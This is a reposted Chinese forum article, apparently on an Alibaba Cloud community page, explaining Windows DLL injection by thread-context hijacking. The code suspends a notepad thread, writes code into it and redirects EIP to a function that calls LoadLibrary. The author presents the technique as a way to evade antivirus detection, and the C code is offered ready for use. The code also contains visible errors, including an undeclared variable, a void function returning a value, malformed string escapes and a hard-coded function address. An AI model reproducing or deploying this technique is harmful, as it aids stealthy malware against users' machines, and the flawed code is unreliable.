window注入DLL

來源:互聯網
上載者:User

下面是今日在論壇上發現的一個不錯的文章:

轉自這裡:http://topic.csdn.net/u/20110218/17/4c366b82-1107-4a2d-ba0d-291c2f62b76f.html

先複製放在這裡,方便以後自己查看!!!

 

目前windows下注入dll的技術大體上就是兩種
1:鉤子 SetWindowsHook
2:建立遠程線程 CreateRemoteThread
儘管都能實現遠程注入dll,但都難逃殺毒軟體的法眼,特別是 CreateRemoteThread
一般都被殺毒軟體監控的很牢,這裡提供一個巧妙的方法能夠利用目標進程(確切地說是線程)
自己主動調用LoadLibrary裝載dll.

我們想一想,windows下vc調試器可以調試正在啟動並執行進程,功能很是強大,那可不可以
借鑒調試器的機理呢?完全可以,調試器的機理大致分為以下幾步:
1:OpenProcess() 擷取目標進程句炳,擁有調試許可權(我們這裡不需要用這個許可權)
2:SuspendThread() 掛起目標進程的主線程
3:GetThreadContext(), SetThreadContext() 讀寫目標線程的當前CPU上下文資訊。
4:ReadProcessMemory(), WriteProcessMemory() 讀寫目標進程記憶體資料。

好了,這裡面就給我們提供了很好的方法,是什嗎?對了就是 GetThreadContext(), SetThreadContext()  
這兩個API函數,它倆不但是哥們,也是我們最好的朋友(親一下)。
下面給出代碼:
1:我們自己的dll
  BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
  {
  //很簡單,我們不搞破壞,緊緊彈個資訊框。
::MessageBox(0,"嘿嘿嘿!!!",0,0);
  return TRUE;
  }
2:我們的主程式
  typedef HMODULE (__stdcall *pLoadLibrary)(LPCSTR lpLibFileName);
  void test()
  {
  //不能直接使用常量字串,否則會引起目標進程讀取資料異常。
char dllname[] = {'c',':','//','d','l','l','t','e','s','t','.','d','l','l','/0'};
  //必須用2088770939這個 LoadLibrary 函數的絕對位址(在我的xp下是這個地址,使用時應該在自己的windows下擷取)
pLoadLibrary pFunc = pLoadLibrary(2088770939);
  //調用LoadLibrary,因為LoadLibrary函數在windows下每個進程中絕對位址都是一樣的。
pFunc(dllname);
return;
  }
  //以下是控制注入的函數
  #include <windows.h>
  void Inject()
  {
  CONTEXT context;
  memset(&context,0,sizeof(context));
context.ContextFlags = CONTEXT_CONTROL;
PROCESS_INFORMATION piProcInfo;  
  STARTUPINFO siStartInfo;   
  ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
  ZeroMemory( &siStartInfo, sizeof(STARTUPINFO));
  siStartInfo.cb = sizeof(STARTUPINFO);  
  BOOL bOk = CreateProcess(NULL,  
  "C://WINDOWS//system32//notepad.exe", // command line  
  NULL, // process security attributes  
  NULL, // primary thread security attributes  
  FALSE, // handles are inherited  
  0, // creation flags  
  NULL, // use parent's environment  
"C://WINDOWS//system32//",// use parent's current directory  
  &siStartInfo, // STARTUPINFO pointer  
  &piProcInfo); // receives PROCESS_INFORMATION
    
  ::WaitForInputIdle(piProcInfo.hProcess,-1);
  //為目標進程分配空間
  LPVOID pRemote = ::VirtualAllocEx(piProcInfo.hProcess,0,4096,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  DWORD dWriten = 0,id = 0;
  //將test函數寫入目標進程
  ::WriteProcessMemory(piProcInfo.hProcess,pRemote,(LPVOID)test,1024,&dWriten);
  //掛起目標進程的主線程
  ::SuspendThread(piProcInfo.hThread);
  //擷取目標線程的CPU上下文資訊
  i = ::GetThreadContext(piProcInfo.hThread,&context);
  //更改Eip指令為我們拷貝好的test函數
  context.Eip = (long)pRemote;
  //設定目標線程的CPU上下文資訊
  i = ::SetThreadContext(piProcInfo.hThread,&context);
  //喚醒目標線程,
  ::ResumeThread(piProcInfo.hThread);
  //目標線程此時就會執行我們的test函數了,執行完後還會繼續沿著
  //自己原先的代碼序列執行下去。
return 0;
  }

以上代碼都經過測試,的確比較“不動聲色”的完成了dll的注入,殺毒軟體
也不會有所覺察(除非定時掃描進程dll模組。那系統會比較慢)。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.